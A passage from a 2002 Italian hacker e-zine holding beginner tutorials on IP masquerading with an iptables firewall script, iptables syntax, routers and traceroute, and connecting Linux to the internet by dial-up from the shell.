| # ifconfig eth0 192.168.0.1 netmask 255.255.255.0 up |
| |
| con questo comando abbiamo "alzato" l'interfaccia di rete eth0 e resa |
| operativa (questa ethernet sara' connessa ad un hub in caso di piu' |
| computer o solamente ad un altro con un cavo twistato). |
| |
| una volta connessi a internet (useremo PPP, sappiate che si puo' fare |
| anche con SLIP), potremo vedere anche una interfaccia chiamato ppp0, che |
| e' quella che si affaccia sul mondo internet dal nostro server. |
| |
| Ora abbiamo bisogno di un minimo firewall ruleset, che abiliti il |
| forwarding, e che instradi i pacchetti alla nostra rete in modo |
| corretto. |
| |
| Un esempio del file rc.firewall potrebbe essere questo: |
| |
| NOTA: e' da MODIFICARE secondo le vostre esigenze! |
| |
| --- inizio rc.firewall --- |
| |
| |
| #!/bin/sh |
| # |
| # rc.firewall-2.4 |
| FWVER=0.62 |
| # |
| # Semplice Masquerade Test iniziale per i kernel 2.4.x che utilizzano |
| # IPTABLES. |
| # Initial SIMPLE IP Masquerade test for 2.4.x kernels |
| # |
| # Una volta che Masquerading e' stato testato consiglio un ruleset molto |
| # piu' forte di questi, che e' basilare. |
| # |
| # |
| |
| echo -e "\n\Caricamente di rc.firewall, versione $FWVER..\n" |
| |
| |
| # Dove risiede il programma IPTABLES? |
| # |
| # Se la tua distro di linux e' shippata con una copia di iptables, |
| # probabilmente sara' in /sbin. |
| # Se hai compilato manualmente IPTABLES, la locazione di default |
| # sara' /usr/local/sbin |
| # |
| # Utilizza il comando whereis iptables , per scoprire dove |
| # e' messo l'eseguibile ed utilizzare il path dato. |
| # |
| |
| #IPTABLES=/sbin/iptables |
| IPTABLES=/usr/local/sbin/iptables |
| |
| |
| # Settings per le inferfacce ESTERNE e INTERNE per la rete |
| # |
| # Ogni rete Mascherata ha bisogno di avere almeno due interfacce. |
| # Una interna ed una esterna. |
| # |
| # Per esempio, una internet potrebbe essere eth1 e quella esterna |
| # eth0, nel caso di utenti modem come esterna si usera' |
| # EXTIF="ppp0" |
| # |
| |
| EXTIF="eth0" |
| INTIF="eth1" |
| echo " Interfaccia Esterna: $EXTIF" |
| echo " Interfaccia Interna: $INTIF" |
| |
| |
| #======================================================================# |
| #Non c'e' bisogno di editare oltre questa riga per il MASQ Test |
| iniziale# |
| |
| echo -en " caricando i moduli: " |
| |
| #Verifica che tutti i moduli hanno tutte le dipendenze richieste |
| # |
| |
| echo " - Sto verificando che tutti i moduli siano a posto" |
| /sbin/depmod -a |
| |
| echo -en "ip_tables, " |
| /sbin/insmod ip_tables |
| |
| echo -en "ip_conntrack, " |
| /sbin/insmod ip_conntrack |
| |
| |
| # Abilita il tracking FTP, inserisci un '#' per disattivarlo |
| echo -en "ip_conntrack_ftp, " |
| /sbin/insmod ip_conntrack_ftp |
| |
| echo -en "iptable_nat, " |
| /sbin/insmod iptable_nat |
| |
| |
| # Abilita il NAT FTP per default, commenta con '#' per disattivarlo |
| echo -en "ip_nat_ftp, " |
| /sbin/insmod ip_nat_ftp |
| |
| # Qui ci andranno altri moduli esistenti |
| |
| echo ". Finito di caricare i moduli." |
| |
| |
| # Abilita l'ip forwarding, gli utenti di redhat potrebbero cambiare |
| # l'opzione di /etc/sysconfig/network da: |
| # |
| # FORWARD_IPV4=false |
| # to |
| # FORWARD_IPV4=true |
| # |
| echo " abilito il forwarding.." |
| echo "1" > /proc/sys/net/ipv4/ip_forward |
| |
| |
| # Utenti IP Dinamici, abilitate questa opzione (1 per default) |
| echo " abilito DynamicAddr.." |
| echo "1" > /proc/sys/net/ipv4/ip_dynaddr |
| |
| |
| # Abilita un semplice IP forwarding e Masquerading |
| # |
| # Come gia' detto prima, IP Masquerading e' una forma di SNAT. |
| # |
| # Il seguente esempio fa riferimento ad una LAN interna con indirizzi |
| # di classe C (192.168.0.x) e con una subnet mask di 255.255.255.0 |
| # (o a 24 bit) |
| # Questo esempio mascherera' il traffico interno fuori su internet e |
| # non permette il traffico non inizializzato all'interno della rete |
| # interna. |
| # |
| |
| |
| # Pulizia della configurazione precedente |
| # |
| # Se non specificato, i defaults per INPUT e OUTPUT sono ACCEPT |
| # Il default per FORWARD e' DROP |
| # |
| echo " sto pulendo ogni regola esistente e settando le policy di |
| default" |
| $IPTABLES -P INPUT ACCEPT |
| $IPTABLES -F INPUT |
| $IPTABLES -P OUTPUT ACCEPT |
| $IPTABLES -F OUTPUT |
| $IPTABLES -P FORWARD DROP |
| $IPTABLES -F FORWARD |
| $IPTABLES -t nat -F |
| |
| echo " FWD: Accetto tutte le connessioni OUT e solo quelle esistenti" |
| " e pertinenti IN" |
| $IPTABLES -A FORWARD -i $EXTIF -o $INTIF -m state --state ESTABLISHED, |
| RELATED -j ACCEPT |
| $IPTABLES -A FORWARD -i $INTIF -o $EXTIF -j ACCEPT |
| $IPTABLES -A FORWARD -j LOG |
| |
| echo " Abilito la funzionalita' SNAT su $EXTIF" |
| $IPTABLES -t nat -A POSTROUTING -o $EXTIF -j MASQUERADE |
| |
| echo -e "\nrc.firewall-2.2 v$FWVER finito.\n" |
| |
| --- fine rc.firewall --- |
| |
| salvate questo file in /etc/rc.d con il nome di rc.firewall |
| Successivamente rendere questo file eseguibile scrivendo |
| |
| # chmod 700 /etc/rc.d/rc.firewall |
| |
| Ora il ruleset e' pronto, resta da farlo partire ad ogni avvio, anche se |
| si potrebbe fare partire ogni volta manualmente (naaa) scrivendo nella |
| directory /etc/rc.d |
| |
| # ./rc.firewall |
| |
| > redhat < |
| ci sono due metodi per fare caricare automaticamente lo script: |
| /etc/rc.d/rc.local o un init script in /etc/rc.d/init.d/. |
| |
| Il primo metodo e' il piu' semplice, basta aggiungere queste righe: |
| |
| echo "Sto caricando il ruleset rc.firewall" |
| # |
| /etc/rc.d/rc.firewall |
| # |
| |
| alla fine del file /etc/rc.d/rc.local file. |
| Il problema e' che se stai usando un FORTE ruleset per il firewall, |
| quest'ultimo non viene eseguito se non dopo l'ultima stage del boot. |
| L'approccio normale sarebbe quello di avere un firewall caricato appena |
| dopo il network subsystem e' stato caricato. |
| |
| > slackware < |
| lo stesso della redhat, con la differenza che possiamo scrivere nel file |
| /etc/rc.d/rc.local oppure nel file /etc/rc.d/rc.inet2, appendendo sempre |
| le seguenti stringhe: |
| |
| # |
| echo "Sto caricando il ruleset rc.firewall" |
| /etc/rc.d/rc.firewall |
| # |
| |
| # Configurazione dei client |
| |
| Prenderemo in esame il windows, detto molto in breve, basta settare come |
| gateway (nelle proprieta' di rete) l'indirizzo IP della nostra linux box |
| con MASQ abilitato e come server DNS quelli che abbia o solitamente nel |
| nostro /etc/resolv.conf .. oppure se avete un server DNS sempre sulla |
| stessa linux box, l'indirizzo di rete di quest'ultima, semplice. |
| |
| # Caricare e testare il nostro ruleset |
| Ok, fate partire il comando |
| |
| # /etc/rc.d/rc.firewall |
| |
| Ci sono strani errori come ip_tables.o: Device or resource busy ? |
| Facciamo una cosa. |
| |
| # lsmod |
| |
| e siate sicuri che il modulo 'ipchains.o' NON sia installato. |
| Se e' installato probabilmente la vostra macchina (soprattutto le redhat |
| 7.x) sta provando a caricare un ruleset IPCHAINS che e' incompatibile |
| con IPTABLES. |
| Per prevenire questo in futuro facciamo un |
| |
| # chkconfig --level=2345 ipchains off |
| |
| e per rimuovere il modulo ipchains senza riavviare facciamo un |
| |
| #/sbin/rmmod ipchains |
| |
| e riproviamo a caricare il nostro rc.firewall |
| |
| No such file |
| |
| assicuratevi che esista il file e che non l'abbiate copiato da una |
| macchina con nomi DOS e assicurati che ogni riga non finisca con un ^M. |
| |
| Per testare la connettivita' in rete delle nostre macchine, ricorreremo |
| allo strumento basilare, il ping. |
| Fate un |
| |
| # ping 192.168.0.1 |
| |
| per pingare il server dai client, se risponde una cosa del genere: |
| |
| |
| masq-client# ping 192.168.0.1 |
| PING 192.168.0.1 (192.168.0.1): 56 data bytes |
| 64 bytes from 192.168.0.1: icmp_seq=0 ttl=255 time=0.8 ms |
| 64 bytes from 192.168.0.1: icmp_seq=1 ttl=255 time=0.4 ms |
| 64 bytes from 192.168.0.1: icmp_seq=2 ttl=255 time=0.4 ms |
| 64 bytes from 192.168.0.1: icmp_seq=3 ttl=255 time=0.5 ms |
| ^C |
| |
| --- 192.168.0.1 ping statistics --- |
| 4 packets transmitted, 4 packets received, 0% packet loss |
| round-trip min/avg/max = 0.4/0.5/0.8 ms |
| |
| direi che i client vedono il server e che quindi per quanto riguarda la |
| connettivita' client-server siamo a posto. |
| |
| Fate lo stesso dal server verso i client... e ora proviamo verso |
| l'esterno! |
| |
| [root@tux root]# ping www.kuht.it PING www.kuht.it (62.149.130.52) from |
| 62.211.20.161 : 56(84) bytes of data. |
| 64 bytes from webs42.aruba.it (62.149.130.52): icmp_seq=0 ttl=122 |
| time=151.304 msec 64 bytes from webs42.aruba.it (62.149.130.52): |
| icmp_seq=1 ttl=122 time=149.030 msec 64 bytes from webs42.aruba.it |
| (62.149.130.52): icmp_seq=2 ttl=122 time=139.049 msec 64 bytes from |
| webs42.aruba.it (62.149.130.52): icmp_seq=3 ttl=122 time=139.154 msec |
| |
| --- www.kuht.it ping statistics --- |
| 4 packets transmitted, 4 packets received, 0% packet loss |
| round-trip min/avg/max/mdev = 139.049/144.634/151.304/5.597 ms |
| |
| direi che ci siamo, anche i nostri client (e il nostro server, se e' |
| connesso) vede il mondo esterno. |
| |
| vediamo un po'.. |
| 1. cosa e' ip masquerading |
| 2. a chi serve |
| 3. esempio e dettaglio |
| 4. inizio configurazione del kernel, compilazione nel caso di non pronti |
| 5. costruzione ruleset |
| 6. metterlo in avvio |
| 7. esperimento di connettivita' e funzionalita' |
| |
| TODO: |
| spiegazione in DETTAGLIO di SNAT e DNAT |
| esperimento di costruzione di un sistema NAT aziendale |
| |
| 06/11/2001 v1.0 |
| kain |
| www.kuht.it |
| wanna join the team? <masterkain@kuht.it> |
| tnx to Linux IP Masquerade Resource Howto e tutti gli amici dei |
| newsgroup, forum che hanno sempre saputo consigliarmi. |
| uptime 2:07 in writing |
| |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [NETW0RKiNG] #05 - 14/01/2002 |
| iP TABLES [E4zy] 0x0A/0x23 |
+--------------------------------------------------------------------------+
| |
| Indice: |
| |
| 1. Introduzione |
| |
| 2. Iptables (kernel 2.4 o superiore) |
| 2.1 Tabelle di firewall |
| 2.2 Policy delle tabelle |
| 2.3 Sintassi |
| 2.3.1 Aggiunta di una regola (-A) |
| 2.3.2 Interfacce (-i) |
| 2.3.3 Condizioni state |
| |
| 3. Iptables script |
| |
| 1. Introduzione |
| Il firewall migliora la sicurezza di un sistema o di una rete interna |
| fornendo un servizio di confine tra le rete locale e la rete esterna |
| (Internet), ogni connessione in ingresso e in uscita attraversa tale |
| dispositivo in modo tale da permettere il passaggio esclusivamente ai |
| protocolli consentiti dalle rules (regole), in caso contrario i |
| pacchetti che non risponderanno a tali criteri verranno rifiutati. |
| |
| 2. Iptables (kernel 2.4 o superiore) |
| Iptables appartiene alla categoria dei firewall a filtro di pacchetti, |
| esso opera una vera e propria selezione dell'input e dell'output verso e |
| dalla rete interna. |
| L'header (intestazione) di ogni pacchetto, che transita sull'interfaccia |
| protetta dal firewall, contiene delle informazioni che vengono |
| confrontate con le policy settate per l'interfaccia stessa, in caso esse |
| rispondano alle esigenze dell'amministratore il pacchetto verra' |
| accettato, in caso contrario il firewall provvedera' ad operare un drop |
| (rifiuto) del pacchetto. |
| |
| 2.1 Tabelle di firewall |
| Iptables utilizza tre tabelle per la definizione delle proprie regole: |
| INPUT, OUTPUT e FORWARD. |
| La tabella INPUT influisce sul comportamento del firewall nei confronti |
| dei pacchetti ricevuti dall'interfaccia, allo stesso modo la tabella |
| OUTPUT influenza il traffico in uscita dall'interfaccia, infine FORWARD |
| e' una tabella adibita al routing (instradamento) dei pacchetti. |
| |
| 2.2 Policy delle tabelle |
| Ogni tabella (INPUT, OUTPUT e FORWARD) possiede una politica che |
| consiste di default nell'accettare il pacchetto (ACCEPT), essa viene |
| applicata qual'ora il pacchetto non e' identificato da nessun'altra |
| regola. Le tabelle piu' restrittive richiedono una politica che preveda |
| l'eliminazione del pacchetto (DROP), nel caso si renda necessaria una |
| tale modifica si puo' ricorrere al parametro -P che imposta una politica |
| per la tabella specificata, vediamo un esempio: |
| |
| iptables -P INPUT ACCEPT |
| setta la politica ACCEPT relativa alla tabella di INPUT |
| |
| 2.3 Sintassi |
| iptables -A tabella regola |
| aggiunge una regola a una particolare tabella |
| |
| iptables -L [tabella] |
| elenca le regole di una o di tutte le tabelle |
| le parentesi quadre indicano opzionalita' |
| |
| iptables -F [tabella] |
| cancella le regole di una o di tutte e tabelle |
| le parentesi quadre indicano opzionalita' |
| |
| 2.3.1 Aggiunta di una regola (-A) |
| Vi sono opzioni che permettono di specificare l'indirizzo sorgente (-s) |
| e destinatario (-d) dei pacch

  
etti transitanti su di una certa |
| interfaccia (-i) soggetti all'esecuzione della regola specificata (-j), |
| esempio: |
| |
| iptables -A INPUT -s 192.168.1.1 -j ACCEPT -i eth0 |
| tutti i pacchetti in arrivo dall'host 192.168.1.1 verranno accettati |
| dall'interfaccia eth0 |
| -A aggiunge una regola alla tabella INPUT |
| -s specifica il source address |
| -j specifica la regola da applicare al pacchetto (ACCEPT o DROP) |
| -i specifica l'interfaccia soggetta alla regola |
| |
| iptables -A INPUT -s evil_hacker.com -j DROP -i eth0 |
| blocca qualsiasi tentativo di accesso non autorizzato all'interfaccia |
| eth0 |
| da parte dell'host specificato |
| |
| 2.3.2 Interfacce (-i) |
| -i eth0: interfaccia Ethernet |
| -i ppp0: modem che utilizza il point-to-point protocol (PPP) |
| -i lo: interfaccia localhost utilizzata per le connessioni locali del |
| sistema |
| |
| 2.3.3 Condizioni state |
| NEW: pacchetto che crea una nuova connessione |
| ESTABLISHED: pacchetto appartenente ad una connessione instaurata |
| RELATED: pacchetto relativo ad una connessione esistente ma che non |
| prende |
| parte ad essa, errore ICMP |
| |
| E' possibile fare riferimento a pacchetti caratterizzati dagli state |
| elencati, specificando il modulo state (-m state) seguito dalla relativa |
| opzione (--state), esempio: |
| |
| iptables -A INPUT -m state --state NEW -j DROP -i eth0 |
| qualsiasi pacchetto che tenti di stabilire una nuova connessione con |
| l'interfaccia eth0 verra' rifiutato |
| |
| 3. Iptables script |
| L'analisi del seguente script Iptables e' piu' utile di qualsiasi |
| ulteriore spiegazione, il codice e' commentato nei minimi dettagli, un |
| ringraziamento particolare va al suo ideatore James C. Stephens, buona |
| lettura :) |
| |
| [NdR: Vedi allegato 0x08] |
| |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [NETW0RKiNG] #05 - 14/01/2002 |
| R0UTiNG E ViAGGi0 Di PACCHETTi V 2.0 [XanTHic] 0x0B/0x23 |
+--------------------------------------------------------------------------+
| |
| Data: o4/1o/2oo1 |
| Autore: XanTHic membro MoJodo ProJecT |
| ICQ: #98605689 |
| E-Mail: xanthic@mojodo.cjb.net Sito Crew: http://mojodo.cjb.net |
| IRC: irc.tin.it #mojodo |
| irc.azzurra.org #tcc #newbie #smanettoni #veninside |
| |
| |
| =============================-=-iNTR0-=-=============================== |
| |
| Come penso abbiate capito dal titolo, mi appresto a spiegarvi cosa sono |
| i router, come funzionano e a cosa servono. E' un articolo scritto |
| fondamentalmente per un pubblico newbie, ma alcuni concetti penso |
| possano servire anche a gente un pochino piu' esperta. Questa e' la |
| seconda versione che ho rilasciato; ho corretto alcune cosette e |
| modificato l'aspetto grafico, rendendolo leggermente piu' leggibile e |
| professionale. Per commenti, critiche o informazioni vi rimando alla |
| e-mail. Per quanto riguarda la distribuzione di questo documento, siete |
| liberi di inserirlo in siti personali, archivi cdrom ecc. ma se prima mi |
| avvertite mi fate un piacere enorme. Dopotutto questo articolo non serve |
| tanto a me visto che queste cose le so, ma piuttosto a terzi che amano |
| smanettare e scoprire cosa c'e' dietro alle azioni che compiamo |
| abitualmente. Percio' sapere che questo breve how-to e' stato inserito |
| ad es. in un'e-zine mi gratificherebbe non poco. |
| |
| ======================================================================= |
| |
| ROUTER: [xo1]: RUDiMENTi iNIZiALi |
| [xo2]: TRACEROUTE: ViAGGiO Di PACCHETTi |
| [xo3]: iP 4 DUMMiES |
| |
| ======================================================================= |
| |
| [xo1]: RUDiMENTi iNIZiALi |
| |
| Allora per iniziare pongo subito un problema da utilizzare come esempio |
| per introdurvi l'argomento: come fanno pacchetti di dati o email a |
| raggiungere il destinatario se la rete e' intasata? Se invio una mail e |
| improvvisamente si interrompe la comunicazione rischio di perdere i |
| dati? La risposta e' no. Altrimenti che cazz sto scrivendo a fare ora? |
| In questo caso entrano in gioco i nostri amati ROUTERS. I routers sono |
| macchine che si scambiano informazioni, pacchetti, e decidono che |
| percorso far loro seguire affinche' i dati vengano correttamente |
| inviati. Qui sotto vi riporto uno schema che spiega le varie "tappe" |
| che effettua un-email che parte dal destinatario e arriva al mittente: |
| |
| -------- ------- ------- ------------ |
| MITTENTE --------> ROUTER1 --------> ROUTER2 --------> DESTINATARIO |
| -------- ------- ------- ------------ |
| | | |
| ------- ------- ------- ------------ |
| ROUTER6 <------- ROUTER5 <-------- ROUTER4 <-------- ROUTER3 |
| ------- ------- ------- ------------ |
| |
| |
| Ecco, questo e' un semplice esempio di viaggio di pacchetti. L'email |
| viene spezzettata in pacchetti e, prima di giungere al suo target, |
| passa in determinati punti, i meno intasati e i piu' veloci/favorevoli |
| per il trasferimento. Naturalmente questi punti vengono decisi dal |
| router. |
| |
| ============================SIMILITUDINE============================== |
| |
| Per farvi capire meglio utilizzo una similitudine che mi e' appena |
| venuta in mente: facciamo finta che dobbiamo andare in vacanza. |
| Partiamo da Milano e dobbiamo arrivare a Tortoreto Lido in Abruzzo :) |
| in macchina. Decidiamo di prendere l'autostrada: se questa e' intasata |
| dal traffico non e' che ci fermiamo e torniamo indietro! Bensi' |
| cerchiamo altre strade che ci portino ugualmente a destinazione. Ad es. |
| usciamo |
| alla prossima uscita autostradale. |
| |
| ============================SIMILITUDINE============================== |
| |
| Riprendiamo ora il discorso. Se un pc crasha o se si forma un |
| intasamento in rete, entra subito in funzione una deviazione che |
| garantisce ugualmente il collegamento. Rispetto al sistema tradizionale |
| della telefonia (che collega un punto con un altro), Internet e' una |
| rete, e come tale per raggiungere un punto e' possibile utilizzare tante |
| strade. L'invio dei dati non avviene per intero, il documento viene |
| suddiviso in tanti piccoli pacchetti che seguono vie diverse. Prima |
| dell'invio ogni pacchetto viene 'etichettato e numerato', e gli viene |
| assegnato l'indirizzo del mittente e del destinatario. Questi pacchetti |
| di dati vengono spediti prima dal proprio pc al proprio provider (se |
| non sapete cos'e', non sapete cos'e' internet, e se non sapete cos'e' |
| internet non vi servono i router) e poi al router (legge i pacchetti e |
| li invia al destinatario). Sono una specie di server con una |
| intelligenza artificiale: in pochi millesimi di secondi recapitano i |
| dati scegliendo le vie piu' favorevoli, cioe' le meno intasate. |
| |
| I router quindi sono una sorta di informatori, sempre in contatto con |
| i loro simili, con i quali intrattengono scambi di informazioni (ogni |
| 30 secondi). Essi sono sempre al corrente di eventuali crash, |
| disconnesioni, flood o intasamenti che colpiscono la rete. |
| L'indirizzo scritto nell'header del messaggio fa si che il router lo |
| invii all'indirizzo corretto (IP, ma di questo ne parlo dopo). |
| In sintesi, per concludere questa introduzione, vi dico che nonostante |
| il percorso che un insieme di pacchetti segue, essi. una volta inviati, |
| si ricompongono sempre sul pc della vittima ehm, del destinatario :) |
| |
| [xo2]: TRACEROUTE: ViAGGiO Di PACCHETTi |
| |
| Premetto che nessuno (che io sappia :) puo' decidere in anticipo le |
| strade che i dati percorrono per arrivare a destinazione. Pero' e' |
| possibile seguire le 'tappe' che i pacchetti compiono partendo dal pc |
| per giungere al mittente. E' sufficiente entrare nel Prompt di DOS ed |
| eseguire il comando tracert, e' vi uscira' una schermata come questa: |
| |
| C:\WINDOWS>tracert.exe |
| |
| Sintassi: tracert [-d] [-h max_salti] [-j elenco host] [-w timeout] |
| nome_destinazione |
| |
| Opzioni: |
| -d Non risolve gli indirizzi in nome host. |
| -h max_salti Numero max di punti di passaggio per ricercare |
| la destinazione. |
| -j elenco-host Instradamento libero lungo l'elenco host. |
| -w timeout Timeout in millisecondi per ogni risposta. |
| |
| C:\WINDOWS> |
| |
| Il nome del computer destinazione e' l'unico parametro obbligatorio. |
| Come si puo' vedere, e' possibile specificare anche un numero massimo di |
| tappe intermedie, una lista di macchine intermedie per cui si deve |
| obbligatoriamente passare, e un tempo massimo di risposta. Da notare |
| che i parametri accettati possono variare in funzione della versione |
| del programma e del sistema operativo in cui ci troviamo. |
| Proviamo per esempio a vedere che distanza ci separa da un server fra |
| i piu' noti e richiesti, cioe' quello di VolFTP. Apriamo una shell |
| (Prompt DOS se sotto Windows, bash, csh o qualunque altra se sotto |
| Unix), e scriviamo: |
| |
| C:\WINDOWS>tracert volftp.tin.it |
| |
| Rilevazione instradamento verso cam.ca.tin.it [195.31.191.10] |
| su un massimo di 30 punti di passaggio: |
| |
| 1 1787 ms 2211 ms 1721 ms pppsrv05.stm.it [195.62.32.50] |
| 2 2610 ms 1326 ms 1348 ms world.stm.it [195.62.32.11] |
| 3 3098 ms 2099 ms 1729 ms eth0-ibs-gw.stm.it [195.62.34.2] |
| 4 1976 ms 3040 ms 2394 ms r-rm2-torrearg.ibsns.it [151.99.9.181] |
| 5 * * * Richiesta scaduta. |
| 6 * * * Richiesta scaduta. |
| 7 2555 ms 1736 ms 3118 ms r-mi5-rm5-atm.ibsns.it [151.99.101.1] |
| 8 * * 3029 ms r-mi6-fa2.ibsns.it [151.99.100.37] |
| 9 2221 ms 2606 ms * r-tin-mi6-atm.ibsns.it [151.99.107.134] |
| 10 * * * Richiesta scaduta. |
| 11 * * * Richiesta scaduta. |
| 12 * * 1753 ms cam.ca.tin.it [195.31.191.10] |
| |
| Rilevazione completata. |
| |
| C:\WINDOWS> |
| |
| Ah, aggiungo una cosa che cmq mi pare sia scontata... sotto Unix il |
| comando non e' tracert ma traceroute. |
| Come si puo' vedere dal messaggio introduttivo, il comando traceroute |
| riesce a rintracciare un computer remoto se questo non e' separato dal |
| nostro da piu' di trenta tappe intermedie (questi "punti di passaggio" |
| in termine tecnico sono detti Hops o "salti"). Il messaggio |
| introduttivo ci dice anche che volftp.tin.it si chiama in realta' |
| cam.ca.tin.it e che il suo indirizzo IP e' 195.31.191.10. |
| |
| Di seguito il programma mostra il percorso completo che separa il |
| computer da cui viene eseguito traceroute dal computer che si vuole |
| tracciare. Il primo elemento della lista e' il POP a cui siamo |
| collegati, nel caso di un collegamento tramite provider. |
| |
| I numeri sulle tre colonne di sinistra indicano il tempo in |
| millisecondi trascorso in attesa della risposta del server a cui la |
| riga si riferisce, e l'asterisco significa che la risposta non e' |
| arrivata entro il tempo massimo di attesa. Dal valore dei tempi di |
| risposta si puo' intuire la bonta' del collegamento verso l'host |
| destinazione: nell'esempio sopra riportato, lo stato del collegamento e' |
| pessimo (addirittura tempi sopra i 3 secondi), e quindi si puo' |
| supporre che, per esempio, un download da VolFTP in quel momento |
| andrebbe assai lento. In alcuni casi nessuna delle tre risposte e' |
| arrivata, per cui traceroute mostra il messaggio "Richiesta scaduta." |
| invece del nome del server. In generale, piu' bassi sono i tempi delle |
| tre colonne di sinistra e migliore e' la qualita' del collegamento verso |
| la macchina destinazione. |
| |
| Qual e' l'utilita' di questo programma? Per esempio, se notiamo che il |
| collegamento verso un sito web o ftp (o qualunque altro servizio) e' |
| lento, possiamo usare traceroute per vedere il percorso seguito dai |
| pacchetti, e in base all'output di traceroute e' possibile capire se il |
| problema dipende dal nostro provider, dalla macchina destinazione, da |
| una macchina intermedia o da un tratto di linea fisica che unisce due |
| di queste. Oppure, se dobbiamo scaricare un file piuttosto pesante e |
| conosciamo almeno 2 siti ftp che lo contengono, con traceroute |
| possiamo stabilire da quale sito conviene effettuare il download. |
| |
| [xo3]: iP 4 DUMMiES (diciamo neonati) |
| |
| L'indirizzo ip (internet protocol) consiste in un gruppo di quattro |
| numeri ognuno dei quali compreso tra lo 0 e il 255. Le grandi aziende |
| che dispongono o necessitano di pc sempre online possono disporre di |
| un IP fisso (in Italia comunemente sono i provider che hanno questo |
| privilegio, ma non solo...). Agli users o abbonati semplici ai servizi |
| di connessione di un provider viene assegnato un IP dinamico, cioe' che |
| cambia sempre dopo ogni disconnessione. Queste due differenti modalita' |
| sono obbligatorie per un semplice motivo: data la costituzione |
| dell'indirizzo IP (codificazione solo su 32 bit, mentre l'attuale IPv6 |
| codifica a 128 bit, ma di questo parlero' un'altra volta) i provider |
| non possono concedere un IP fisso ai suoi utenti, percio' utilizzano ip |
| variabili, una specie di "chi arriva primo se lo acchiappa" :) ma |
| naturalmente non si verificano problemi, perche' il sovraffollamento di |
| utenti connessi non ha mai causato un esaurimento di IP, a quanto ne |
| so. |
| |
| ======================================================================= |
| |
| OK, anche questo breve tutorial e' finito, non ho manco bisogno di |
| scriv. ehm, pastare i copyrights xke' da come potete notare queste sono |
| solo info. Avviso importante: x la parte riguardante il tracert ho |
| preso spunto dalla faq di baldinelli per mancanza di tempo, se ci |
| fossero eventuali problemi mi prendero' l'impegno di rifarla. |
| Tanto non ci metto nulla a tracciare un server, solo che non c'e' |
| sbattimento ultimamente. Preferisco fare altro... |
| |
| ... Theoretical hacking successful installed in XanTHic's mind ... |
| |
| |
| |
| SALUTI & RINGRAZIAMENTI: Saluto innanzitutto i miei fratelli del |
| progetto mojodo, i miei seguaci del VenInside :DDD, tutti ma proprio |
| tutti i membri del TankCommandos, tutta la new world bie crew, la Paola |
| della mia classe, la aLe del canale #dbzone e tutti quelli che mi |
| conoscono. In particolare un salutozzo e un abbraccio vanno a: `ValK`, |
| ADvAnCeD`, lupsyn, D3FU, kEwL`, Raptor_, BiGAlex, SPYR0, ReSiNaRo, |
| MightyInquisitor, ink, Ice Man, Net_Digger, Hopehack e SonGoten :) |
| |
| FUCK: inter-moratti. Vi racconto una barzelletta: c'e' Berlusconi che |
| va da Moratti dopo il derby e gli dice "Per vincere il derby ci |
| vogliono i coglioni!" e Moratti "Cazzo io li ho gia' comprati |
| tutti eppure non riesco a vincere!". aHaHaH W MILAN. |
| |
| ======================================================================= |
| |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [LiNUX] #05 - 14/01/2002 |
| iN SHELL WE TRUST - PARTE 1 [MightyInquisitor] 0x0C/0x23 |
+--------------------------------------------------------------------------+
| |
| --[ Indice |
| |
| 1 - Introduzione al progetto |
| |
| 2 - Connessione a internet (prima parte) |
| 2.1 - Device del modem |
| 2.2 - Files di configurazione |
| 2.3 - Permessi dei files di configurazione |
| 2.4 - L'utente normale e la connessione |
| 2.5 - Suggerimento |
| |
| 3 - Allegato |
| |
| |
| --[ 1 - Introduzione al progetto |
| |
| Ho deciso di chiamare questo progetto, diviso in parti: |
| IN SHELL WE TRUST perche' credo nelle potenzialita' della shell e |
| certamente non sono l'unico! |
| |
| Che cos'e' il progetto ISWT? |
| Semplice, in questa parte e nelle successive, spieghero' nel modo piu' |
| chiaro possibile come utilizzare al meglio le potenzialita' della shell |
| del sistema operativo Linux per effettuare gran parte delle operazioni |
| on-line, che svolgiamo, per semplicita' o per ignoranza, da X - la |
| modalita' grafica del pinguino. |
| |
| Molto probabilmente, alcuni di voi, ora potranno chiedersi: |
| "Quando mai avro' bisogno di utilizzare la shell per connettermi, |
| chattare, navigare, leggere la posta...avendo a disposizione una cosi' |
| bella modalita' grafica che mi da la possibilita' di fare queste cose |
| molto piu' semplicemente e intuitivamente?" |
| |
| Nel caso vogliate imparare a "dominare" la vostra macchina dovete sapere |
| come si usa e quali sono i comandi e i file per configurare ed eseguire |
| i programmi, e non solo, da shell. |
| Anche nel caso abbiate un computer poco potente e non riuscite a far |
| girarci su X, potete lavorarci usufruendo della shell e quindi mettere |
| in atto tutte le operazioni che hanno a che vedere con la rete e che |
| fareste su una macchina piu' potente da X. |
| Insomma, la shell e' un MUST per chi vuole apprendere a 360 grazi il |
| funzionamento di una Linux box. |
| |
| In questa prima parte del progetto trattero' la connessione a internet |
| da console, ovvero il primo passo per lavorare col pinguino on-line. |
| |
| |
| --[ 2 - Connessione a internet (prima parte) |
| |
| La prima cosa da affrontare per poter fare un buon utilizzo della shell |
| su internet e' senza ombra di dubbio la possibilita' di connettersi ad |
| internet, senza la quale ben poco si puo' fare. |
| In questo testo analizzero' la connessione dial-up dato che lo baso |
| esclusivamente sulla mia esperienza, ed io sono sempre fedele al |
| collegamento a 56k! |
| |
| E' bene precisare che trattero' la configurazione dei file di |
| configurazione a mano, in maniera tale che il contenuto di questo testo |
| sia applicabile a qualsiasi distribuzione Linux. |
| |
| Tutte le operazioni di seguito descritte vanno fatte una volta loggatisi |
| come root alla propria Linux box, tranne nei casi da me espressamente |
| specificati. |
| |
| ----[ 2.1 - Device del modem |
| |
| Il demone che gestisce la connessione ad internet e' il pppd e |
| l'apparecchio che ci permette di connetterci alla rete, come tutti |
| sanno, e' il modem - acronimo di MODulatore DEModulatore quindi dobbiamo |
| assicurarci che Linux lo riconosca e che il rispettivo device si trovi |
| nella directory /dev con il nome di ttyS0 nel caso si trovi sulla porta |
| COM1, ttyS1 nel caso si trovi sulla porta COM2 e cosi' via. |
| Una volta accertatisi di questo e' bene creare un link simbolico al |
| device che posizioneremo, per comodita', nella stessa directory: |
| |
| bash# ln -s /dev/ttyS0 /dev/modem |
| |
| Ora /dev/modem non e' altro che il link (ln) simbolico (-s) al device |
| corrispondente al modem (/dev/ttyS0). |
| |
| Una volta effettuata questa semplice operazione si deve procedere a |
| configurare una serie di files che mettono in comunicazione il modem con |
| il demone ppp. |
| |
